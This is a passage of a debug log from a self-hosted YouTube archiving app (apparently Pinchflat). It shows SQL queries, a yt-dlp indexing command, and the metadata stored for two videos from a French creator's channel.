m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 06:33:06.484 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 06:33:06.484 [debug] Current batch of media processed. Will check again in 1000ms 06:33:06.528 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=198.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:06.530 [debug] QUERY OK source="settings" db=1.0ms idle=197.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:06.531 [debug] QUERY OK source="settings" db=0.8ms idle=196.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:33:06.532 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@Pierre_Chabrier --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Père Chabrier/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4d/11/4d11a6d1870cb3732aeed3ff55cf719b926da45137072de9d216aac4e46f9299.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/66/28/66280bf7ebe72444ae83ed991482b47687704c65cf17825c14b0a893e676859f.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:33:07.485 [debug] Current batch of media processed. Will check again in 1000ms 06:33:08.487 [debug] Current batch of media processed. Will check again in 1000ms 06:33:09.488 [debug] Current batch of media processed. Will check again in 1000ms 06:33:10.489 [debug] Current batch of media processed. Will check again in 1000ms 06:33:11.490 [debug] Current batch of media processed. Will check again in 1000ms 06:33:12.390 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:12.491 [debug] Current batch of media processed. Will check again in 1000ms 06:33:13.492 [debug] Current batch of media processed. Will check again in 1000ms 06:33:14.493 [debug] Current batch of media processed. Will check again in 1000ms 06:33:15.494 [debug] Current batch of media processed. Will check again in 1000ms 06:33:16.495 [debug] Current batch of media processed. Will check again in 1000ms 06:33:17.496 [debug] Current batch of media processed. Will check again in 1000ms 06:33:18.497 [debug] Current batch of media processed. Will check again in 1000ms 06:33:19.498 [debug] Current batch of media processed. Will check again in 1000ms 06:33:20.499 [debug] Current batch of media processed. Will check again in 1000ms 06:33:21.500 [debug] Current batch of media processed. Will check again in 1000ms 06:33:22.501 [debug] Current batch of media processed. Will check again in 1000ms 06:33:23.502 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un grand MERCI à VOUS mais aussi à Winamax, sans qui cette vidéo n'aurait pas été possible.\n\nD'ailleurs, Winamax te rembourse ton premier pari en CASH si celui-ci est perdant, dans la limite de 100 €, et t’offre un bonus de 10 € supplémentaires en CASH avec le code promo 👉 MOTO10\nIl vous suffit de passer par ce lien en y ajoutant le code promo :\n👉 https://www.winamax.fr/registration/landing/affiliation_Bonus100?banid=80151\n\n#publicitéwinamax (Offre réservée uniquement aux nouveaux joueurs n'ayant jamais créé de compte Winamax. Les 10 € vous seront crédités une fois que vous aurez finalisé votre inscription et effectué votre 1er dépôt. Cette offre n’est valable qu’une seule fois par utilisateur, terminal (ordinateur, tablette ou mobile), foyer ou compte bancaire.)\n\n⚠️ Les jeux d’argent sont strictement interdits aux mineurs. 🔞\u200B Jouer comporte des risques : endettement, dépendance... Appelez le 09-74-75-13-13 (appel non surtaxé).\n___________________________________\n\nUn ENORME merci à tous ceux qui ont contribué à la réalisation de cette vidéo, équipe technique, partenaires, amis....\n\nMerci à Thibault et Jo de CASCADES EXPERIENCES, donnez leur un max de force 👉 https://www.instagram.com/cascades_experiences/\nhttps://www.youtube.com/@CascadesExperiences/\nLe lien vers leur vidéo : https://youtu.be/PhayI1nZt-0\n\nMerci à Dafy Saint-Maximin pour le prêt de l'équipement moto et un max de sécu 👉 https://www.instagram.com/dafysaintmaximin/\nMerci à Delta Mics pour le prêt de la Talaria\nMerci à la piste TSF pour leur accueil\n\n- Chargée de production : Laurane Da Silva\n- Renfort prod : Cassandra Borie\n- Equipe image ENKOR FILMS : Raphaël Chiche, Vincent Cordier, Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Ingé son : Valentin Blavette - ENKOR FILMS https://www.enkorfilms.com\n- Dos d'âne : Ukr Renov Bat - https://ukrrenovbat.fr/\n- Sécurité : Protection Civile de l’Essonne\n- Ostéopathe : Laura \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Justin et Théo pour avoir apporté leur aide avec leurs gros bras, merci à Clem, merci à Laura, merci à Julien (même si là il a rien fait), merci à Oleks...\n\nEt merci à vous pour toutes ces années. Cette vidéo est pour vous.\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\n#dosdane #Cascade #pourtoi", "duration" => 2157, "filename" => "/downloads/Père Chabrier/2025-06-27 ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏/ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏 [G4uH_ANDk44].mkv", "id" => "G4uH_ANDk44", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G4uH_ANDk44", "playlist_index" => 1, "timestamp" => 1751040904, "title" => "ON PREND UN DOS D'ÂNE À 110km/h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏", "upload_date" => "20250627"} 06:33:23.504 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=1588.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:23.506 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1590.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:23.509 [debug] QUERY OK source="media_items" db=2.1ms idle=1591.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-27 16:15:04Z], 3] 06:33:24.009 [debug] QUERY OK source="media_items" db=494.3ms idle=711.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand MERCI à VOUS mais aussi à Winamax, sans qui cette vidéo n'aurait pas été possible.\n\nD'ailleurs, Winamax te rembourse ton premier pari en CASH si celui-ci est perdant, dans la limite de 100 €, et t’offre un bonus de 10 € supplémentaires en CASH avec le code promo 👉 MOTO10\nIl vous suffit de passer par ce lien en y ajoutant le code promo :\n👉 https://www.winamax.fr/registration/landing/affiliation_Bonus100?banid=80151\n\n#publicitéwinamax (Offre réservée uniquement aux nouveaux joueurs n'ayant jamais créé de compte Winamax. Les 10 € vous seront crédités une fois que vous aurez finalisé votre inscription et effectué votre 1er dépôt. Cette offre n’est valable qu’une seule fois par utilisateur, terminal (ordinateur, tablette ou mobile), foyer ou compte bancaire.)\n\n⚠️ Les jeux d’argent sont strictement interdits aux mineurs. 🔞\u200B Jouer comporte des risques : endettement, dépendance... Appelez le 09-74-75-13-13 (appel non surtaxé).\n___________________________________\n\nUn ENORME merci à tous ceux qui ont contribué à la réalisation de cette vidéo, équipe technique, partenaires, amis....\n\nMerci à Thibault et Jo de CASCADES EXPERIENCES, donnez leur un max de force 👉 https://www.instagram.com/cascades_experiences/\nhttps://www.youtube.com/@CascadesExperiences/\nLe lien vers leur vidéo : https://youtu.be/PhayI1nZt-0\n\nMerci à Dafy Saint-Maximin pour le prêt de l'équipement moto et un max de sécu 👉 https://www.instagram.com/dafysaintmaximin/\nMerci à Delta Mics pour le prêt de la Talaria\nMerci à la piste TSF pour leur accueil\n\n- Chargée de production : Laurane Da Silva\n- Renfort prod : Cassandra Borie\n- Equipe image ENKOR FILMS : Raphaël Chiche, Vincent Cordier, Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Ingé son : Valentin Blavette - ENKOR FILMS https://www.enkorfilms.com\n- Dos d'âne : Ukr Renov Bat - https://ukrrenovbat.fr/\n- Sécurité : Protection Civile de l’Essonne\n- Ostéopathe : Laura \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Justin et Théo pour avoir apporté leur aide avec leurs gros bras, merci à Clem, merci à Laura, merci à Julien (même si là il a rien fait), merci à Oleks...\n\nEt merci à vous pour toutes ces années. Cette vidéo est pour vous.\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\n#dosdane #Cascade #pourtoi", "ON PREND UN DOS D'ÂNE À 110km/h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏", "804d87d4-254b-4f5e-8129-db0c889b8846", "G4uH_ANDk44", 2157, false, "https://www.youtube.com/watch?v=G4uH_ANDk44", 1, "/downloads/Père Chabrier/2025-06-27 ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏/ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏 [G4uH_ANDk44].mkv", false, false, false, 3, [], 98, ~U[2025-06-27 16:15:04Z], ~U[2026-04-20 04:33:23Z], ~U[2026-04-20 04:33:23Z], "Un grand MERCI à VOUS mais aussi à Winamax, sans qui cette vidéo n'aurait pas été possible.\n\nD'ailleurs, Winamax te rembourse ton premier pari en CASH si celui-ci est perdant, dans la limite de 100 €, et t’offre un bonus de 10 € supplémentaires en CASH avec le code promo 👉 MOTO10\nIl vous suffit de passer par ce lien en y ajoutant le code promo :\n👉 https://www.winamax.fr/registration/landing/affiliation_Bonus100?banid=80151\n\n#publicitéwinamax (Offre réservée uniquement aux nouveaux joueurs n'ayant jamais créé de compte Winamax. Les 10 € vous seront crédités une fois que vous aurez finalisé votre inscription et effectué votre 1er dépôt. Cette offre n’est valable qu’une seule fois par utilisateur, terminal (ordinateur, tablette ou mobile), foyer ou compte bancaire.)\n\n⚠️ Les jeux d’argent sont strictement interdits aux mineurs. 🔞\u200B Jouer comporte des risques : endettement, dépendance... Appelez le 09-74-75-13-13 (appel non surtaxé).\n___________________________________\n\nUn ENORME merci à tous ceux qui ont contribué à la réalisation de cette vidéo, équipe technique, partenaires, amis....\n\nMerci à Thibault et Jo de CASCADES EXPERIENCES, donnez leur un max de force 👉 https://www.instagram.com/cascades_experiences/\nhttps://www.youtube.com/@CascadesExperiences/\nLe lien vers leur vidéo : https://youtu.be/PhayI1nZt-0\n\nMerci à Dafy Saint-Maximin pour le prêt de l'équipement moto et un max de sécu 👉 https://www.instagram.com/dafysaintmaximin/\nMerci à Delta Mics pour le prêt de la Talaria\nMerci à la piste TSF pour leur accueil\n\n- Chargée de production : Laurane Da Silva\n- Renfort prod : Cassandra Borie\n- Equipe image ENKOR FILMS : Raphaël Chiche, Vincent Cordier, Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Ingé son : Valentin Blavette - ENKOR FILMS https://www.enkorfilms.com\n- Dos d'âne : Ukr Renov Bat - https://ukrrenovbat.fr/\n- Sécurité : Protection Civile de l’Essonne\n- Ostéopathe : Laura \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Justin et Théo pour avoir apporté leur aide avec leurs gros bras, merci à Clem, merci à Laura, merci à Julien (même si là il a rien fait), merci à Oleks...\n\nEt merci à vous pour toutes ces années. Cette vidéo est pour vous.\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\n#dosdane #Cascade #pourtoi", "ON PREND UN DOS D'ÂNE À 110km/h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏", "G4uH_ANDk44", 2157, false, "https://www.youtube.com/watch?v=G4uH_ANDk44", "/downloads/Père Chabrier/2025-06-27 ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏/ON PREND UN DOS D'ÂNE À 110km⧸h à MOTO - Vidéo Finale - MERCI à toutes et à tous 🙏 [G4uH_ANDk44].mkv", false, 3, ~U[2025-06-27 16:15:04Z]] 06:33:24.014 [debug] QUERY OK source="sources" db=2.7ms idle=505.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:24.017 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.3ms idle=509.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:24.022 [debug] QUERY OK source="media_items" db=2.5ms queue=0.2ms idle=509.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [723] 06:33:24.023 [debug] Current batch of media processed. Will check again in 1000ms 06:33:25.027 [debug] Current batch of media processed. Will check again in 1000ms 06:33:26.028 [debug] Current batch of media processed. Will check again in 1000ms 06:33:27.031 [debug] Current batch of media processed. Will check again in 1000ms 06:33:28.032 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "- Le POWERPOINT preuves.ppt : 👉 https://docs.google.com/presentation/d/e/2PACX-1vSYysGHKwYqoaNCaJ99UgiuNmRLbqHnvJR_yrVVucSON3HgbATTYunHPAttFDYawCRgANvZKtH-2WKA/pub?start=false&loop=true&delayms=60000\n\n- Extrait complet - La Preuve du mensonge de Sylvain sur les cristaux : \n👉 https://youtu.be/AiqovEQ92L0\n\n___________________________________\n\n- Signalement PHAROS : 👉 https://www.internet-signalement.gouv.fr/PharosS1/\nEn cas d'idées trop noires vous pouvez appeler : - Le 31 14\n\nAide pour le cyber harcèlement : 👉 https://stop-cyberharcelement.fr/contacts_cyberharcelement/\n\nDeux associations luttant contre le harcèlement : \n👉 https://harcelement-aidez-moi.fr/soutenir-l-association\n👉 https://www.respectzone.org/\n\n___________________________________\n\nLes comptes où aller jeter un oeil pour un esprit plus critique : \n\n📲 - https://www.instagram.com/lesprit.critique/ \n📲 - https://www.instagram.com/psychologuenet/?hl=fr\n📲 - https://www.instagram.com/millennial.therapist/ ( pour les anglophones )\n📲 - https://www.instagram.com/edgar_yves/?hl=fr\n📲 - https://www.instagram.com/julien_avi_/\n📲 - https://www.instagram.com/ma.psychologue/\n📲 - https://www.instagram.com/maximehaulbert/\n📲 - https://www.instagram.com/thierry__lauret/\n\n___________________________________\n\nPour éviter toute attaque à leurs encontre je ne nommerai pas les remerciements mais un INFINI merci à toutes celles et ceux qui m'ont aidé d'une façon ou d'une autre dans mes projets. Merci aux soutiens, vous comptez énormément. \n\n_____________________________________\n\nTeaser de la vidéo de la semaine prochaine : 👉 https://youtu.be/8EtsOZ1e7BE\n\nMes autres réseaux pour des news :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n\nDes bisous et A+\n\n#Aplus #PREUVES #BonnesVacances", "duration" => 3490, "filename" => "/downloads/Père Chabrier/2025-06-20 A+ YouTube (et les PREUVES que vous attendiez)/A+ YouTube (et les PREUVES que vous attendiez) [qaKdf-ooBKc].mkv", "id" => "qaKdf-ooBKc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qaKdf-ooBKc", "playlist_index" => 2, "timestamp" => 1750436105, "title" => "A+ YouTube (et les PREUVES que vous attendiez)", "upload_date" => "20250620"} 06:33:28.034 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=216.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:28.037 [debug] QUERY OK source="sources" db=1.7ms queue=0.4ms idle=30.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:28.041 [debug] QUERY OK source="media_items" db=2.9ms queue=0.8ms idle=33.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-20 16:15:05Z], 3] 06:33:29.847 [debug] QUERY OK source="media_items" db=1801.1ms idle=39.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["- Le POWERPOINT preuves.ppt : 👉 https://docs.google.com/presentation/d/e/2PACX-1vSYysGHKwYqoaNCaJ99UgiuNmRLbqHnvJR_yrVVucSON3HgbATTYunHPAttFDYawCRgANvZKtH-2WKA/pub?start=false&loop=true&delayms=60000\n\n- Extrait complet - La Preuve du mensonge de Sylvain sur les cristaux : \n👉 https://youtu.be/AiqovEQ92L0\n\n___________________________________\n\n- Signalement PHAROS : 👉 https://www.internet-signalement.gouv.fr/PharosS1/\nEn cas d'idées trop noires vous pouvez appeler : - Le 31 14\n\nAide pour le cyber harcèlement : 👉 https://stop-cyberharcelement.fr/contacts_cyberharcelement/\n\nDeux associations luttant contre le harcèlement : \n👉 https://harcelement-aidez-moi.fr/soutenir-l-association\n👉 https://www.respectzone.org/\n\n___________________________________\n\nLes comptes où aller jeter un oeil pour un esprit plus critique : \n\n📲 - https://www.instagram.com/lesprit.critique/ \n📲 - https://www.instagram.com/psychologuenet/?hl=fr\n📲 - https://www.instagram.com/millennial.therapist/ ( pour les anglophones )\n📲 - https://www.instagram.com/edgar_yves/?hl=fr\n📲 - https://www.instagram.com/julien_avi_/\n📲 - https://www.instagram.com/ma.psychologue/\n📲 - https://www.instagram.com/maximehaulbert/\n📲 - https://www.instagram.com/thierry__lauret/\n\n___________________________________\n\nPour éviter toute attaque à leurs encontre je ne nommerai pas les remerciements mais un INFINI merci à toutes celles et ceux qui m'ont aidé d'une façon ou d'une autre dans mes projets. Merci aux soutiens, vous comptez énormément. \n\n_____________________________________\n\nTeaser de la vidéo de la semaine prochaine : 👉 https://youtu.be/8EtsOZ1e7BE\n\nMes autres réseaux pour des news :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n\nDes bisous et A+\n\n#Aplus #PREUVES #BonnesVacances", "A+ YouTube (et les PREUVES que vous attendiez)", "800df9ae-46e2-435d-aa4a-16c50107e98b", "qaKdf-ooBKc", 3490, false, "https://www.youtube.com/watch?v=qaKdf-ooBKc", 2, "/downloads/Père Chabrier/2025-06-20 A+ YouTube (et les PREUVES que vous attendiez)/A+ YouTube (et les PREUVES que vous attendiez) [qaKdf-ooBKc].mkv", false, false, false, 3, [], 98, ~U[2025-06-20 16:15:05Z], ~U[2026-04-20 04:33:28Z], ~U[2026-04-20 04:33:28Z], "- Le POWERPOINT preuves.ppt : 👉 https://docs.google.com/presentation/d/e/2PACX-1vSYysGHKwYqoaNCaJ99UgiuNmRLbqHnvJR_yrVVucSON3HgbATTYunHPAttFDYawCRgANvZKtH-2WKA/pub?start=false&loop=true&delayms=60000\n\n- Extrait complet - La Preuve du mensonge de Sylvain sur les cristaux : \n👉 https://youtu.be/AiqovEQ92L0\n\n___________________________________\n\n- Signalement PHAROS : 👉 https://www.internet-signalement.gouv.fr/PharosS1/\nEn cas d'idées trop noires vous pouvez appeler : - Le 31 14\n\nAide pour le cyber harcèlement : 👉 https://stop-cyberharcelement.fr/contacts_cyberharcelement/\n\nDeux associations luttant contre le harcèlement : \n👉 https://harcelement-aidez-moi.fr/soutenir-l-association\n👉 https://www.respectzone.org/\n\n___________________________________\n\nLes comptes où aller jeter un oeil pour un esprit plus critique : \n\n📲 - https://www.instagram.com/lesprit.critique/ \n📲 - https://www.instagram.com/psychologuenet/?hl=fr\n📲 - https://www.instagram.com/millennial.therapist/ ( pour les anglophones )\n📲 - https://www.instagram.com/edgar_yves/?hl=fr\n📲 - https://www.instagram.com/julien_avi_/\n📲 - https://www.instagram.com/ma.psychologue/\n📲 - https://www.instagram.com/maximehaulbert/\n📲 - https://www.instagram.com/thierry__lauret/\n\n___________________________________\n\nPour éviter toute attaque à leurs encontre je ne nommerai pas les remerciements mais un INFINI merci à toutes celles et ceux qui m'ont aidé d'une façon ou d'une autre dans mes projets. Merci aux soutiens, vous comptez énormément. \n\n_____________________________________\n\nTeaser de la vidéo de la semaine prochaine : 👉 https://youtu.be/8EtsOZ1e7BE\n\nMes autres réseaux pour des news :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n\nDes bisous et A+\n\n#Aplus #PREUVES #BonnesVacances", "A+ YouTube (et les PREUVES que vous attendiez)", "qaKdf-ooBKc", 3490, false, "https://www.youtube.com/watch?v=qaKdf-ooBKc", "/downloads/Père Chabrier/2025-06-20 A+ YouTube (et les PREUVES que vous attendiez)/A+ YouTube (et les PREUVES que vous attendiez) [qaKdf-ooBKc].mkv", false, 3, ~U[2025-06-20 16:15:05Z]] 06:33:29.850 [debug] QUERY OK source="sources" db=1.6ms queue=0.5ms idle=1811.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:29.852 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1809.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:29.853 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1033.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN 